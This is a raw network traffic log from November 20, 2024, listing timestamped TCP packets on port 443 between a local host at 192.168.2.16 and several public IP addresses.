Nov 20, 2024 15:43:13.254975080 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.256928921 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.256947994 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.263712883 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.264800072 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.264831066 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.308851957 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.367959023 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.420852900 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.541932106 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.545753002 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.545878887 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.545938969 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.553519011 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.554807901 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.554830074 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.560949087 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.561016083 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.561101913 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.561120033 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.562800884 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.573750019 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.579586029 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.579679966 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.579700947 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.587507010 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.587625980 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.587706089 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.587722063 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.590778112 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.595179081 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.602973938 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.603024006 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.603056908 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.603077888 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.603339911 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.610210896 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.615580082 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.615679026 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.615696907 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.623363972 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.623399973 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.623506069 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.623527050 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.625137091 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.842909098 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.850279093 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.850402117 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.850459099 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.856373072 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.856425047 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.856479883 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.856499910 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.856753111 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.865123034 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.865243912 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.880193949 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.880382061 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.886228085 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.886333942 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.886353970 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.886384010 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:13.886447906 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.886519909 CET	49757	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:43:13.886554956 CET	443	49757	172.67.195.135	192.168.2.16
Nov 20, 2024 15:43:14.039808989 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:14.039808989 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:14.039865017 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:14.039881945 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:14.040141106 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:14.040141106 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:14.040141106 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:14.040178061 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:14.040453911 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:14.040462017 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:14.041568041 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:14.041609049 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:14.041832924 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:14.042058945 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:14.042069912 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:14.045887947 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:14.045901060 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:14.045968056 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:14.046152115 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:14.046159983 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:14.746018887 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:14.746125937 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:14.746237040 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:14.746465921 CET	49763	443	192.168.2.16	170.106.97.195
Nov 20, 2024 15:43:14.746494055 CET	443	49763	170.106.97.195	192.168.2.16
Nov 20, 2024 15:43:15.260462046 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.260765076 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.260778904 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.261681080 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.261778116 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.262851954 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.262912989 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.262979984 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.262986898 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.265805006 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.266004086 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.266015053 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.267144918 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.267220974 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.268294096 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.268392086 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.268479109 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.268486023 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.313867092 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.313867092 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.341809034 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.342232943 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.342297077 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.343399048 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.343516111 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.344630003 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.344753027 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.344806910 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.364526987 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.364902020 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.364929914 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.366013050 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.366103888 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.367167950 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.367252111 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.367434978 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.367459059 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.387332916 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.393851995 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.393870115 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.409822941 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.441828966 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.714684963 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.714751005 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.714793921 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.714802027 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.714883089 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.714931011 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.714936018 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.723321915 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.723381042 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.723387003 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.732160091 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.732213974 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.732218981 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.738769054 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.738900900 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.738956928 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.738966942 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.739074945 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.739125013 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.739131927 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.739237070 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.739286900 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.739294052 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.740753889 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.740803003 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.740809917 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.746391058 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.746458054 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.746478081 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.755011082 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.755072117 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.755085945 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.791922092 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.791933060 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.807893991 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.808643103 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.808693886 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.808737993 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.808770895 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.808772087 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.808792114 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.808818102 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.814399004 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.814440966 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.814496040 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.814502954 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.814547062 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.825918913 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.831341028 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.831406116 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.831418037 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.838737965 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.838787079 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.838819981 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.838829994 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.838840961 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.838850975 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.838855982 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.838865042 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.838920116 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.838924885 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.838964939 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.847244024 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.858326912 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.858903885 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.858935118 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.858968019 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.858983994 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.859025002 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.867453098 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.886837959 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.886837959 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.902837038 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.902851105 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.920053005 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.927987099 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.928195000 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.931703091 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.931781054 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.931791067 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.939433098 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.939501047 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.939516068 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.940658092 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.940727949 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.940743923 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.940975904 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.941021919 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.941267014 CET	49759	443	192.168.2.16	104.17.24.14
Nov 20, 2024 15:43:15.941283941 CET	443	49759	104.17.24.14	192.168.2.16
Nov 20, 2024 15:43:15.947328091 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.947401047 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.947415113 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.955121994 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.955182076 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.955189943 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.958463907 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.962760925 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.962825060 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.962837934 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.978147030 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.978185892 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.978240013 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.978250980 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.978296995 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.982816935 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.982837915 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:15.989854097 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.996829033 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.996891022 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:15.996898890 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:15.998950005 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:15.998960018 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.004854918 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.004916906 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.004921913 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.012080908 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.012149096 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.012157917 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.012201071 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.012252092 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.012260914 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.020289898 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.020351887 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.020360947 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.024319887 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.024380922 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.024389029 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.044600964 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.044704914 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.044729948 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.046824932 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.052078962 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.053096056 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.053155899 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.053168058 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.056310892 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.056370974 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.056376934 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.058943033 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.058970928 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.059006929 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.059015036 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.059056997 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.062832117 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.062858105 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.064261913 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.064327002 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.064332962 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.066890001 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.072493076 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.072571039 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.072594881 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.073620081 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.073683023 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.073692083 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.080176115 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.080250978 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.080260992 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.080609083 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.080665112 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.080670118 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.084676027 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:16.084721088 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:16.084904909 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:16.085014105 CET	49764	443	192.168.2.16	104.17.25.14
Nov 20, 2024 15:43:16.085021019 CET	443	49764	104.17.25.14	192.168.2.16
Nov 20, 2024 15:43:16.086905956 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.086961985 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.086968899 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.088800907 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.088856936 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.088862896 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.097291946 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.097369909 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.097379923 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.100052118 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.100131989 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.100138903 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.103403091 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.103458881 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.103466988 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.106617928 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.106643915 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.106669903 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.106677055 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.106719017 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.106725931 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.106750011 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.106794119 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.107045889 CET	49760	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.107059956 CET	443	49760	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.109822035 CET	49758	443	192.168.2.16	151.101.194.137
Nov 20, 2024 15:43:16.116472960 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.116542101 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.116550922 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.119987965 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.126241922 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.126280069 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.126317024 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.126326084 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.126370907 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.132821083 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.139259100 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.139344931 CET	49762	443	192.168.2.16	104.18.11.207
Nov 20, 2024 15:43:16.139352083 CET	443	49762	104.18.11.207	192.168.2.16
Nov 20, 2024 15:43:16.172913074 CET	443	49758	151.101.194.137	192.168.2.16
Nov 20, 2024 15:43:16.172951937 CET	443	49758	151.101.194.137	192.168.2.16
